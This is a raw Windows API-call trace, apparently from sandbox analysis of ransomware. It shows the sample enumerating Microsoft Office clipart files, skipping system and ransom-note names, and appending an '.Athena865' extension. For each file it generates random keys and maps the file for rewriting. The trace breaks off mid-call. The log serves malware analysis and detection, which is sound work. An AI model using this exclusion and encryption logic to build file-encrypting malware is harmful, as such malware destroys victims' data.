[0130.361] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.361] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.362] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.362] CloseHandle (hObject=0x154) returned 1 [0130.362] CloseHandle (hObject=0x17c) returned 1 [0130.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.363] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4a0e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0304853.WMF", cAlternateFileName="")) returned 1 [0130.363] lstrcmpiW (lpString1="J0304853.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.363] lstrcmpiW (lpString1="J0304853.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.363] lstrcmpiW (lpString1="J0304853.WMF", lpString2=".") returned 1 [0130.363] lstrcmpiW (lpString1="J0304853.WMF", lpString2="..") returned 1 [0130.363] lstrcmpiW (lpString1="J0304853.WMF", lpString2="windows") returned -1 [0130.363] lstrcmpiW (lpString1="J0304853.WMF", lpString2="bootmgr") returned 1 [0130.363] lstrcmpiW (lpString1="J0304853.WMF", lpString2="temp") returned -1 [0130.363] lstrcmpiW (lpString1="J0304853.WMF", lpString2="pagefile.sys") returned -1 [0130.363] lstrcmpiW (lpString1="J0304853.WMF", lpString2="boot") returned 1 [0130.363] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0304853.WMF" | out: lpString1="J0304853.WMF") returned="J0304853.WMF" [0130.363] lstrlenW (lpString="J0304853.WMF") returned 12 [0130.363] lstrlenW (lpString="Athena865") returned 9 [0130.363] lstrcmpiW (lpString1="04853.WMF", lpString2="Athena865") returned -1 [0130.363] lstrlenW (lpString=".dll") returned 4 [0130.363] lstrcmpiW (lpString1="J0304853.WMF", lpString2=".dll") returned 1 [0130.363] lstrlenW (lpString=".lnk") returned 4 [0130.363] lstrcmpiW (lpString1="J0304853.WMF", lpString2=".lnk") returned 1 [0130.363] lstrlenW (lpString=".ini") returned 4 [0130.363] lstrcmpiW (lpString1="J0304853.WMF", lpString2=".ini") returned 1 [0130.363] lstrlenW (lpString=".sys") returned 4 [0130.363] lstrcmpiW (lpString1="J0304853.WMF", lpString2=".sys") returned 1 [0130.364] lstrlenW (lpString="J0304853.WMF") returned 12 [0130.364] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF.Athena865") returned 73 [0130.364] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf.athena865"), dwFlags=0x1) returned 1 [0130.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.365] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18958) returned 1 [0130.365] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.365] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.365] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.366] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.366] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.366] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.366] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4d10, lpName=0x0) returned 0x154 [0130.368] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4d10) returned 0x100000 [0130.370] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.370] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.370] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.371] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.371] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.371] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.371] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.371] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.371] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.372] CloseHandle (hObject=0x154) returned 1 [0130.372] CloseHandle (hObject=0x17c) returned 1 [0130.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.372] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2cf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0304861.WMF", cAlternateFileName="")) returned 1 [0130.372] lstrcmpiW (lpString1="J0304861.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.372] lstrcmpiW (lpString1="J0304861.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.372] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0304861.WMF" | out: lpString1="J0304861.WMF") returned="J0304861.WMF" [0130.372] lstrlenW (lpString="J0304861.WMF") returned 12 [0130.372] lstrlenW (lpString="Athena865") returned 9 [0130.372] lstrcmpiW (lpString1="04861.WMF", lpString2="Athena865") returned -1 [0130.372] lstrlenW (lpString=".dll") returned 4 [0130.372] lstrcmpiW (lpString1="J0304861.WMF", lpString2=".dll") returned 1 [0130.372] lstrlenW (lpString=".lnk") returned 4 [0130.372] lstrcmpiW (lpString1="J0304861.WMF", lpString2=".lnk") returned 1 [0130.372] lstrlenW (lpString=".ini") returned 4 [0130.373] lstrcmpiW (lpString1="J0304861.WMF", lpString2=".ini") returned 1 [0130.373] lstrlenW (lpString=".sys") returned 4 [0130.373] lstrcmpiW (lpString1="J0304861.WMF", lpString2=".sys") returned 1 [0130.373] lstrlenW (lpString="J0304861.WMF") returned 12 [0130.373] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF.Athena865") returned 73 [0130.373] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf.athena865"), dwFlags=0x1) returned 1 [0130.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.374] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11512) returned 1 [0130.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.375] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.375] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.375] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.376] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3000, lpName=0x0) returned 0x154 [0130.377] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3000) returned 0x100000 [0130.381] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.381] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.381] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.381] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.382] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.382] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.382] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.382] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.382] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.382] CloseHandle (hObject=0x154) returned 1 [0130.382] CloseHandle (hObject=0x17c) returned 1 [0130.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.383] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f8e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0304875.WMF", cAlternateFileName="")) returned 1 [0130.383] lstrcmpiW (lpString1="J0304875.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.383] lstrcmpiW (lpString1="J0304875.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.383] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0304875.WMF" | out: lpString1="J0304875.WMF") returned="J0304875.WMF" [0130.383] lstrlenW (lpString="J0304875.WMF") returned 12 [0130.383] lstrlenW (lpString="Athena865") returned 9 [0130.383] lstrcmpiW (lpString1="04875.WMF", lpString2="Athena865") returned -1 [0130.383] lstrlenW (lpString=".dll") returned 4 [0130.383] lstrcmpiW (lpString1="J0304875.WMF", lpString2=".dll") returned 1 [0130.383] lstrlenW (lpString=".lnk") returned 4 [0130.383] lstrcmpiW (lpString1="J0304875.WMF", lpString2=".lnk") returned 1 [0130.383] lstrlenW (lpString=".ini") returned 4 [0130.383] lstrcmpiW (lpString1="J0304875.WMF", lpString2=".ini") returned 1 [0130.383] lstrlenW (lpString=".sys") returned 4 [0130.383] lstrcmpiW (lpString1="J0304875.WMF", lpString2=".sys") returned 1 [0130.383] lstrlenW (lpString="J0304875.WMF") returned 12 [0130.384] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF.Athena865") returned 73 [0130.384] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf.athena865"), dwFlags=0x1) returned 1 [0130.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.385] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20366) returned 1 [0130.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.386] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.386] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.386] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.386] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5290, lpName=0x0) returned 0x154 [0130.389] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5290) returned 0x100000 [0130.390] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.391] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.391] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.391] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.391] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.391] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.391] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.391] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.391] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.391] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.391] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.391] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.391] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.391] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.392] CloseHandle (hObject=0x154) returned 1 [0130.392] CloseHandle (hObject=0x17c) returned 1 [0130.392] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.392] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.392] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.392] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0309480.JPG", cAlternateFileName="")) returned 1 [0130.392] lstrcmpiW (lpString1="J0309480.JPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.392] lstrcmpiW (lpString1="J0309480.JPG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.392] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0309480.JPG" | out: lpString1="J0309480.JPG") returned="J0309480.JPG" [0130.392] lstrlenW (lpString="J0309480.JPG") returned 12 [0130.392] lstrlenW (lpString="Athena865") returned 9 [0130.392] lstrcmpiW (lpString1="09480.JPG", lpString2="Athena865") returned -1 [0130.392] lstrlenW (lpString=".dll") returned 4 [0130.392] lstrcmpiW (lpString1="J0309480.JPG", lpString2=".dll") returned 1 [0130.393] lstrlenW (lpString=".lnk") returned 4 [0130.393] lstrcmpiW (lpString1="J0309480.JPG", lpString2=".lnk") returned 1 [0130.393] lstrlenW (lpString=".ini") returned 4 [0130.393] lstrcmpiW (lpString1="J0309480.JPG", lpString2=".ini") returned 1 [0130.393] lstrlenW (lpString=".sys") returned 4 [0130.393] lstrcmpiW (lpString1="J0309480.JPG", lpString2=".sys") returned 1 [0130.393] lstrlenW (lpString="J0309480.JPG") returned 12 [0130.393] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG.Athena865") returned 73 [0130.393] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg.athena865"), dwFlags=0x1) returned 1 [0130.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.394] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10692) returned 1 [0130.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.395] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.395] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.395] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.395] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.395] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.396] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2cd0, lpName=0x0) returned 0x154 [0130.397] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2cd0) returned 0x100000 [0130.398] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.399] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.399] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.399] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.399] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.399] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.399] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.399] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.400] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.400] CloseHandle (hObject=0x154) returned 1 [0130.400] CloseHandle (hObject=0x17c) returned 1 [0130.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.400] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0309567.JPG", cAlternateFileName="")) returned 1 [0130.400] lstrcmpiW (lpString1="J0309567.JPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.400] lstrcmpiW (lpString1="J0309567.JPG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.401] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0309567.JPG" | out: lpString1="J0309567.JPG") returned="J0309567.JPG" [0130.401] lstrlenW (lpString="J0309567.JPG") returned 12 [0130.401] lstrlenW (lpString="Athena865") returned 9 [0130.401] lstrcmpiW (lpString1="09567.JPG", lpString2="Athena865") returned -1 [0130.401] lstrlenW (lpString=".dll") returned 4 [0130.401] lstrcmpiW (lpString1="J0309567.JPG", lpString2=".dll") returned 1 [0130.401] lstrlenW (lpString=".lnk") returned 4 [0130.401] lstrcmpiW (lpString1="J0309567.JPG", lpString2=".lnk") returned 1 [0130.401] lstrlenW (lpString=".ini") returned 4 [0130.401] lstrcmpiW (lpString1="J0309567.JPG", lpString2=".ini") returned 1 [0130.401] lstrlenW (lpString=".sys") returned 4 [0130.401] lstrcmpiW (lpString1="J0309567.JPG", lpString2=".sys") returned 1 [0130.401] lstrlenW (lpString="J0309567.JPG") returned 12 [0130.401] wsprintfW (in: param_1=0x241d508, 